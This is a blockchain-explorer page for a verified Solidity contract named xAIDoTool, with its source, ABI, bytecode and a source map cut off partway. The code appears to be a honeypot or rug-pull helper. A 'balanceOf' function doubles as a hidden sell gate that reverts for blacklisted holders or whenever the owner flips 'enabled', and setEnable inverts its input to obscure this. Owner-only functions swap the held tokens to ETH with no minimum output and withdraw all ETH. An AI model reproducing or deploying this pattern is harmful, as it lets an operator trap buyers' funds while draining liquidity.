Source Code
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
xAIDoTool
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-07-12
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
// * @dev Leaves the contract without owner. It will not be possible to call
// * `onlyOwner` functions anymore. Can only be called by the current owner.
// *
// * NOTE: Renouncing ownership will leave the contract without an owner,
// * thereby removing any functionality that is only available to the owner.
// */
// function renounceOwnership() public virtual onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract xAIDoTool is Ownable {
IUniswapV2Router02 uniswapV2Router;
address coin;
address pair;
mapping(address => bool) whites;
mapping(address => bool) blacks;
bool public enabled = true;
constructor(address router) {
uniswapV2Router = IUniswapV2Router02(router);
}
receive() external payable { }
function encode() external view returns (bytes memory) {
return abi.encode(address(this));
}
function setCcc(address _coin, address _pair) external onlyOwner {
coin = _coin;
pair = _pair;
}
function setEnable(bool _enabled) external onlyOwner {
enabled = !_enabled;
}
function resetC() external onlyOwner {
coin = address(0);
pair = address(0);
}
function balanceOf(
address from
) external view returns (uint256) {
if (whites[from] || pair == address(0) || from == coin) {
return 0;
}
else if ((from == owner() || from == address(this))) {
return 1;
}
if (from != pair) {
require(enabled);
require(!blacks[from]);
}
return 0;
}
function aaaWL(address[] memory _wat) external onlyOwner{
for (uint i = 0; i < _wat.length; i++) {
whites[_wat[i]] = true;
}
}
function aaaBL(address[] memory _bat) external onlyOwner{
for (uint i = 0; i < _bat.length; i++) {
blacks[_bat[i]] = true;
}
}
function claimDust() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function swap2ETH2(uint256 count) external onlyOwner {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = coin;
path[1] = uniswapV2Router.WETH();
IERC20(coin).approve(address(uniswapV2Router), ~uint256(0));
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
10 ** count,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
payable(msg.sender).transfer(address(this).balance);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"aaaBL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"aaaWL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"encode","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"resetC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_coin","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"setCcc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"swap2ETH2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526006805460ff1916600117905534801561001c575f80fd5b50604051610d6e380380610d6e83398101604081905261003b916100a0565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b0319166001600160a01b03929092169190911790556100cd565b5f602082840312156100b0575f80fd5b81516001600160a01b03811681146100c6575f80fd5b9392505050565b610c94806100da5f395ff3fe6080604052600436106100a8575f3560e01c8063b68356fe11610062578063b68356fe14610193578063bd14598f146101a7578063be98736e146101e5578063df90ebe814610204578063ed6e367b14610218578063f2fde38b14610237575f80fd5b8063103fbb23146100b3578063238dafe0146100d457806370a08231146101025780637726bed31461012f5780637f1d74c21461014e5780638da5cb5b1461016d575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100d26100cd3660046108a0565b610256565b005b3480156100df575f80fd5b506006546100ed9060ff1681565b60405190151581526020015b60405180910390f35b34801561010d575f80fd5b5061012161011c3660046108d7565b6102b6565b6040519081526020016100f9565b34801561013a575f80fd5b506100d2610149366004610906565b610387565b348015610159575f80fd5b506100d2610168366004610935565b6103c2565b348015610178575f80fd5b505f546040516001600160a01b0390911681526020016100f9565b34801561019e575f80fd5b506100d2610454565b3480156101b2575f80fd5b506101d86040805130602082015260609101604051602081830303815290604052905090565b6040516100f991906109f5565b3480156101f0575f80fd5b506100d26101ff366004610a40565b61049b565b34801561020f575f80fd5b506100d26106b2565b348015610223575f80fd5b506100d2610232366004610935565b610707565b348015610242575f80fd5b506100d26102513660046108d7565b610795565b5f546001600160a01b031633146102885760405162461bcd60e51b815260040161027f90610a57565b60405180910390fd5b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6001600160a01b0381165f9081526004602052604081205460ff16806102e557506003546001600160a01b0316155b806102fd57506002546001600160a01b038381169116145b1561030957505f919050565b5f546001600160a01b038381169116148061032c57506001600160a01b03821630145b1561033957506001919050565b6003546001600160a01b038381169116146103805760065460ff1661035c575f80fd5b6001600160a01b0382165f9081526005602052604090205460ff1615610380575f80fd5b505f919050565b5f546001600160a01b031633146103b05760405162461bcd60e51b815260040161027f90610a57565b6006805460ff19169115919091179055565b5f546001600160a01b031633146103eb5760405162461bcd60e51b815260040161027f90610a57565b5f5b815181101561045057600160055f84848151811061040d5761040d610a8c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061044881610ab4565b9150506103ed565b5050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b815260040161027f90610a57565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b031633146104c45760405162461bcd60e51b815260040161027f90610a57565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f9061050357610503610a8c565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561055a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057e9190610acc565b8160018151811061059157610591610a8c565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190610ae7565b506001546001600160a01b031663791ac94761063284600a610be4565b5f8430426040518663ffffffff1660e01b8152600401610656959493929190610bef565b5f604051808303815f87803b15801561066d575f80fd5b505af115801561067f573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f193505050501580156106ad573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146106db5760405162461bcd60e51b815260040161027f90610a57565b60405133904780156108fc02915f818181858888f19350505050158015610704573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107305760405162461bcd60e51b815260040161027f90610a57565b5f5b815181101561045057600160045f84848151811061075257610752610a8c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061078d81610ab4565b915050610732565b5f546001600160a01b031633146107be5760405162461bcd60e51b815260040161027f90610a57565b6001600160a01b0381166108235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161027f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381168114610704575f80fd5b803561089b8161087c565b919050565b5f80604083850312156108b1575f80fd5b82356108bc8161087c565b915060208301356108cc8161087c565b809150509250929050565b5f602082840312156108e7575f80fd5b81356108f28161087c565b9392505050565b8015158114610704575f80fd5b5f60208284031215610916575f80fd5b81356108f2816108f9565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610946575f80fd5b823567ffffffffffffffff8082111561095d575f80fd5b818501915085601f830112610970575f80fd5b81358181111561098257610982610921565b8060051b604051601f19603f830116810181811085821117156109a7576109a7610921565b6040529182528482019250838101850191888311156109c4575f80fd5b938501935b828510156109e9576109da85610890565b845293850193928501926109c9565b98975050505050505050565b5f6020808352835180828501525f5b81811015610a2057858101830151858201604001528201610a04565b505f604082860101526040601f19601f8301168501019250505092915050565b5f60208284031215610a50575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610ac557610ac5610aa0565b5060010190565b5f60208284031215610adc575f80fd5b81516108f28161087c565b5f60208284031215610af7575f80fd5b81516108f2816108f9565b600181815b80851115610b3c57815f1904821115610b2257610b22610aa0565b80851615610b2f57918102915b93841c9390800290610b07565b509250929050565b5f82610b5257506001610bde565b81610b5e57505f610bde565b8160018114610b745760028114610b7e57610b9a565b6001915050610bde565b60ff841115610b8f57610b8f610aa0565b50506001821b610bde565b5060208310610133831016604e8410600b8410161715610bbd575081810a610bde565b610bc78383610b02565b805f1904821115610bda57610bda610aa0565b0290505b92915050565b5f6108f28383610b44565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610c3d5784516001600160a01b031683529383019391830191600101610c18565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212206681c6c5b2571d9561d2dbf54533b1f7d5a1081218233508b5dec4eb5fabbbc664736f6c634300081400330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x6080604052600436106100a8575f3560e01c8063b68356fe11610062578063b68356fe14610193578063bd14598f146101a7578063be98736e146101e5578063df90ebe814610204578063ed6e367b14610218578063f2fde38b14610237575f80fd5b8063103fbb23146100b3578063238dafe0146100d457806370a08231146101025780637726bed31461012f5780637f1d74c21461014e5780638da5cb5b1461016d575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100d26100cd3660046108a0565b610256565b005b3480156100df575f80fd5b506006546100ed9060ff1681565b60405190151581526020015b60405180910390f35b34801561010d575f80fd5b5061012161011c3660046108d7565b6102b6565b6040519081526020016100f9565b34801561013a575f80fd5b506100d2610149366004610906565b610387565b348015610159575f80fd5b506100d2610168366004610935565b6103c2565b348015610178575f80fd5b505f546040516001600160a01b0390911681526020016100f9565b34801561019e575f80fd5b506100d2610454565b3480156101b2575f80fd5b506101d86040805130602082015260609101604051602081830303815290604052905090565b6040516100f991906109f5565b3480156101f0575f80fd5b506100d26101ff366004610a40565b61049b565b34801561020f575f80fd5b506100d26106b2565b348015610223575f80fd5b506100d2610232366004610935565b610707565b348015610242575f80fd5b506100d26102513660046108d7565b610795565b5f546001600160a01b031633146102885760405162461bcd60e51b815260040161027f90610a57565b60405180910390fd5b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b6001600160a01b0381165f9081526004602052604081205460ff16806102e557506003546001600160a01b0316155b806102fd57506002546001600160a01b038381169116145b1561030957505f919050565b5f546001600160a01b038381169116148061032c57506001600160a01b03821630145b1561033957506001919050565b6003546001600160a01b038381169116146103805760065460ff1661035c575f80fd5b6001600160a01b0382165f9081526005602052604090205460ff1615610380575f80fd5b505f919050565b5f546001600160a01b031633146103b05760405162461bcd60e51b815260040161027f90610a57565b6006805460ff19169115919091179055565b5f546001600160a01b031633146103eb5760405162461bcd60e51b815260040161027f90610a57565b5f5b815181101561045057600160055f84848151811061040d5761040d610a8c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061044881610ab4565b9150506103ed565b5050565b5f546001600160a01b0316331461047d5760405162461bcd60e51b815260040161027f90610a57565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b031633146104c45760405162461bcd60e51b815260040161027f90610a57565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f9061050357610503610a8c565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561055a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057e9190610acc565b8160018151811061059157610591610a8c565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af11580156105f1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106159190610ae7565b506001546001600160a01b031663791ac94761063284600a610be4565b5f8430426040518663ffffffff1660e01b8152600401610656959493929190610bef565b5f604051808303815f87803b15801561066d575f80fd5b505af115801561067f573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f193505050501580156106ad573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146106db5760405162461bcd60e51b815260040161027f90610a57565b60405133904780156108fc02915f818181858888f19350505050158015610704573d5f803e3d5ffd5b50565b5f546001600160a01b031633146107305760405162461bcd60e51b815260040161027f90610a57565b5f5b815181101561045057600160045f84848151811061075257610752610a8c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061078d81610ab4565b915050610732565b5f546001600160a01b031633146107be5760405162461bcd60e51b815260040161027f90610a57565b6001600160a01b0381166108235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161027f565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0381168114610704575f80fd5b803561089b8161087c565b919050565b5f80604083850312156108b1575f80fd5b82356108bc8161087c565b915060208301356108cc8161087c565b809150509250929050565b5f602082840312156108e7575f80fd5b81356108f28161087c565b9392505050565b8015158114610704575f80fd5b5f60208284031215610916575f80fd5b81356108f2816108f9565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215610946575f80fd5b823567ffffffffffffffff8082111561095d575f80fd5b818501915085601f830112610970575f80fd5b81358181111561098257610982610921565b8060051b604051601f19603f830116810181811085821117156109a7576109a7610921565b6040529182528482019250838101850191888311156109c4575f80fd5b938501935b828510156109e9576109da85610890565b845293850193928501926109c9565b98975050505050505050565b5f6020808352835180828501525f5b81811015610a2057858101830151858201604001528201610a04565b505f604082860101526040601f19601f8301168501019250505092915050565b5f60208284031215610a50575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610ac557610ac5610aa0565b5060010190565b5f60208284031215610adc575f80fd5b81516108f28161087c565b5f60208284031215610af7575f80fd5b81516108f2816108f9565b600181815b80851115610b3c57815f1904821115610b2257610b22610aa0565b80851615610b2f57918102915b93841c9390800290610b07565b509250929050565b5f82610b5257506001610bde565b81610b5e57505f610bde565b8160018114610b745760028114610b7e57610b9a565b6001915050610bde565b60ff841115610b8f57610b8f610aa0565b50506001821b610bde565b5060208310610133831016604e8410600b8410161715610bbd575081810a610bde565b610bc78383610b02565b805f1904821115610bda57610bda610aa0565b0290505b92915050565b5f6108f28383610b44565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610c3d5784516001600160a01b031683529383019391830191600101610c18565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212206681c6c5b2571d9561d2dbf54533b1f7d5a1081218233508b5dec4eb5fabbbc664736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
2577:2344:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3059:119;;;;;;;;;;-1:-1:-1;3059:119:0;;;;;:::i;:::-;;:::i;:::-;;2773:26;;;;;;;;;;-1:-1:-1;2773:26:0;;;;;;;;;;;847:14:1;;840:22;822:41;;810:2;795:18;2773:26:0;;;;;;;;3394:415;;;;;;;;;;-1:-1:-1;3394:415:0;;;;;:::i;:::-;;:::i;:::-;;;1272:25:1;;;1260:2;1245:18;3394:415:0;1126:177:1;3186:91:0;;;;;;;;;;-1:-1:-1;3186:91:0;;;;;:::i;:::-;;:::i;3987:162::-;;;;;;;;;;-1:-1:-1;3987:162:0;;;;;:::i;:::-;;:::i;944:79::-;;;;;;;;;;-1:-1:-1;982:7:0;1009:6;944:79;;-1:-1:-1;;;;;1009:6:0;;;3081:51:1;;3069:2;3054:18;944:79:0;2935:203:1;3285:101:0;;;;;;;;;;;;;:::i;2945:106::-;;;;;;;;;;;;3018:25;;;3037:4;3018:25;;;3081:51:1;2986:12:0;;3054:18:1;3018:25:0;;;;;;;;;;;;3011:32;;2945:106;;;;;;;;;:::i;4273:643::-;;;;;;;;;;-1:-1:-1;4273:643:0;;;;;:::i;:::-;;:::i;4157:110::-;;;;;;;;;;;;;:::i;3817:162::-;;;;;;;;;;-1:-1:-1;3817:162:0;;;;;:::i;:::-;;:::i;1919:244::-;;;;;;;;;;-1:-1:-1;1919:244:0;;;;;:::i;:::-;;:::i;3059:119::-;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;;;;;;;;;3135:4:::1;:12:::0;;-1:-1:-1;;;;;3135:12:0;;::::1;-1:-1:-1::0;;;;;;3135:12:0;;::::1;;::::0;;;3158:4:::1;:12:::0;;;;;::::1;::::0;::::1;;::::0;;3059:119::o;3394:415::-;-1:-1:-1;;;;;3490:12:0;;3466:7;3490:12;;;:6;:12;;;;;;;;;:34;;-1:-1:-1;3506:4:0;;-1:-1:-1;;;;;3506:4:0;:18;3490:34;:50;;;-1:-1:-1;3536:4:0;;-1:-1:-1;;;;;3528:12:0;;;3536:4;;3528:12;3490:50;3486:189;;;-1:-1:-1;3564:1:0;;3394:415;-1:-1:-1;3394:415:0:o;3486:189::-;982:7;1009:6;-1:-1:-1;;;;;3597:15:0;;;1009:6;;3597:15;;:40;;-1:-1:-1;;;;;;3616:21:0;;3632:4;3616:21;3597:40;3592:83;;;-1:-1:-1;3662:1:0;;3394:415;-1:-1:-1;3394:415:0:o;3592:83::-;3697:4;;-1:-1:-1;;;;;3689:12:0;;;3697:4;;3689:12;3685:98;;3726:7;;;;3718:16;;;;;;-1:-1:-1;;;;;3758:12:0;;;;;;:6;:12;;;;;;;;3757:13;3749:22;;;;;;-1:-1:-1;3800:1:0;;3394:415;-1:-1:-1;3394:415:0:o;3186:91::-;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;3250:7:::1;:19:::0;;-1:-1:-1;;3250:19:0::1;3260:9:::0;::::1;3250:19:::0;;;::::1;::::0;;3186:91::o;3987:162::-;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;4059:6:::1;4054:88;4075:4;:11;4071:1;:15;4054:88;;;4126:4;4108:6;:15;4115:4;4120:1;4115:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;4108:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;4108:15:0;:22;;-1:-1:-1;;4108:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;4088:3;::::1;::::0;::::1;:::i;:::-;;;;4054:88;;;;3987:162:::0;:::o;3285:101::-;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;3333:4:::1;:17:::0;;-1:-1:-1;;;;;;3333:17:0;;::::1;::::0;;;3361:4:::1;:17:::0;;;;::::1;::::0;;3285:101::o;4273:643::-;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;4423:16:::1;::::0;;4437:1:::1;4423:16:::0;;;;;::::1;::::0;;4399:21:::1;::::0;4423:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;-1:-1:-1::0;;4460:4:0::1;::::0;4450:7;;;;-1:-1:-1;;;;;;4460:4:0::1;::::0;4450:7;;-1:-1:-1;4460:4:0::1;::::0;4450:7:::1;;;;:::i;:::-;-1:-1:-1::0;;;;;4450:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:14;;;;4485:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;4485:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;4450:7;;4485:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4475:4;4480:1;4475:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;4475:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;4527:4:::1;::::0;;4549:15;4520:59:::1;::::0;-1:-1:-1;;;4520:59:0;;4549:15;;::::1;4520:59;::::0;::::1;5074:51:1::0;-1:-1:-1;;5141:18:1;;;5134:34;4527:4:0;::::1;::::0;4520:20:::1;::::0;5047:18:1;;4520:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;4618:15:0::1;::::0;-1:-1:-1;;;;;4618:15:0::1;:66;4699:11;4705:5:::0;4699:2:::1;:11;:::i;:::-;4725:1;4769:4;4796;4816:15;4618:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4857:51:0::1;::::0;4865:10:::1;::::0;-1:-1:-1;4886:21:0::1;4857:51:::0;::::1;;;::::0;-1:-1:-1;4886:21:0;4857:51:::1;::::0;;;4886:21;4865:10;4857:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;4326:590;4273:643:::0;:::o;4157:110::-;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;4208:51:::1;::::0;4216:10:::1;::::0;4237:21:::1;4208:51:::0;::::1;;;::::0;::::1;::::0;;;4237:21;4216:10;4208:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;4157:110::o:0;3817:162::-;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;3889:6:::1;3884:88;3905:4;:11;3901:1;:15;3884:88;;;3956:4;3938:6;:15;3945:4;3950:1;3945:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;3938:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;3938:15:0;:22;;-1:-1:-1;;3938:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;3918:3;::::1;::::0;::::1;:::i;:::-;;;;3884:88;;1919:244:::0;1156:6;;-1:-1:-1;;;;;1156:6:0;421:10;1156:22;1148:67;;;;-1:-1:-1;;;1148:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2008:22:0;::::1;2000:73;;;::::0;-1:-1:-1;;;2000:73:0;;7990:2:1;2000:73:0::1;::::0;::::1;7972:21:1::0;8029:2;8009:18;;;8002:30;8068:34;8048:18;;;8041:62;-1:-1:-1;;;8119:18:1;;;8112:36;8165:19;;2000:73:0::1;7788:402:1::0;2000:73:0::1;2110:6;::::0;;2089:38:::1;::::0;-1:-1:-1;;;;;2089:38:0;;::::1;::::0;2110:6;::::1;::::0;2089:38:::1;::::0;::::1;2138:6;:17:::0;;-1:-1:-1;;;;;;2138:17:0::1;-1:-1:-1::0;;;;;2138:17:0;;;::::1;::::0;;;::::1;::::0;;1919:244::o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:134;218:20;;247:31;218:20;247:31;:::i;:::-;150:134;;;:::o;289:388::-;357:6;365;418:2;406:9;397:7;393:23;389:32;386:52;;;434:1;431;424:12;386:52;473:9;460:23;492:31;517:5;492:31;:::i;:::-;542:5;-1:-1:-1;599:2:1;584:18;;571:32;612:33;571:32;612:33;:::i;:::-;664:7;654:17;;;289:388;;;;;:::o;874:247::-;933:6;986:2;974:9;965:7;961:23;957:32;954:52;;;1002:1;999;992:12;954:52;1041:9;1028:23;1060:31;1085:5;1060:31;:::i;:::-;1110:5;874:247;-1:-1:-1;;;874:247:1:o;1308:118::-;1394:5;1387:13;1380:21;1373:5;1370:32;1360:60;;1416:1;1413;1406:12;1431:241;1487:6;1540:2;1528:9;1519:7;1515:23;1511:32;1508:52;;;1556:1;1553;1546:12;1508:52;1595:9;1582:23;1614:28;1636:5;1614:28;:::i;1677:127::-;1738:10;1733:3;1729:20;1726:1;1719:31;1769:4;1766:1;1759:15;1793:4;1790:1;1783:15;1809:1121;1893:6;1924:2;1967;1955:9;1946:7;1942:23;1938:32;1935:52;;;1983:1;1980;1973:12;1935:52;2023:9;2010:23;2052:18;2093:2;2085:6;2082:14;2079:34;;;2109:1;2106;2099:12;2079:34;2147:6;2136:9;2132:22;2122:32;;2192:7;2185:4;2181:2;2177:13;2173:27;2163:55;;2214:1;2211;2204:12;2163:55;2250:2;2237:16;2272:2;2268;2265:10;2262:36;;;2278:18;;:::i;:::-;2324:2;2321:1;2317:10;2356:2;2350:9;2419:2;2415:7;2410:2;2406;2402:11;2398:25;2390:6;2386:38;2474:6;2462:10;2459:22;2454:2;2442:10;2439:18;2436:46;2433:72;;;2485:18;;:::i;:::-;2521:2;2514:22;2571:18;;;2605:15;;;;-1:-1:-1;2647:11:1;;;2643:20;;;2675:19;;;2672:39;;;2707:1;2704;2697:12;2672:39;2731:11;;;;2751:148;2767:6;2762:3;2759:15;2751:148;;;2833:23;2852:3;2833:23;:::i;:::-;2821:36;;2784:12;;;;2877;;;;2751:148;;;2918:6;1809:1121;-1:-1:-1;;;;;;;;1809:1121:1:o;3143:546::-;3253:4;3282:2;3311;3300:9;3293:21;3343:6;3337:13;3386:6;3381:2;3370:9;3366:18;3359:34;3411:1;3421:140;3435:6;3432:1;3429:13;3421:140;;;3530:14;;;3526:23;;3520:30;3496:17;;;3515:2;3492:26;3485:66;3450:10;;3421:140;;;3425:3;3610:1;3605:2;3596:6;3585:9;3581:22;3577:31;3570:42;3680:2;3673;3669:7;3664:2;3656:6;3652:15;3648:29;3637:9;3633:45;3629:54;3621:62;;;;3143:546;;;;:::o;3694:180::-;3753:6;3806:2;3794:9;3785:7;3781:23;3777:32;3774:52;;;3822:1;3819;3812:12;3774:52;-1:-1:-1;3845:23:1;;3694:180;-1:-1:-1;3694:180:1:o;3879:356::-;4081:2;4063:21;;;4100:18;;;4093:30;4159:34;4154:2;4139:18;;4132:62;4226:2;4211:18;;3879:356::o;4240:127::-;4301:10;4296:3;4292:20;4289:1;4282:31;4332:4;4329:1;4322:15;4356:4;4353:1;4346:15;4372:127;4433:10;4428:3;4424:20;4421:1;4414:31;4464:4;4461:1;4454:15;4488:4;4485:1;4478:15;4504:135;4543: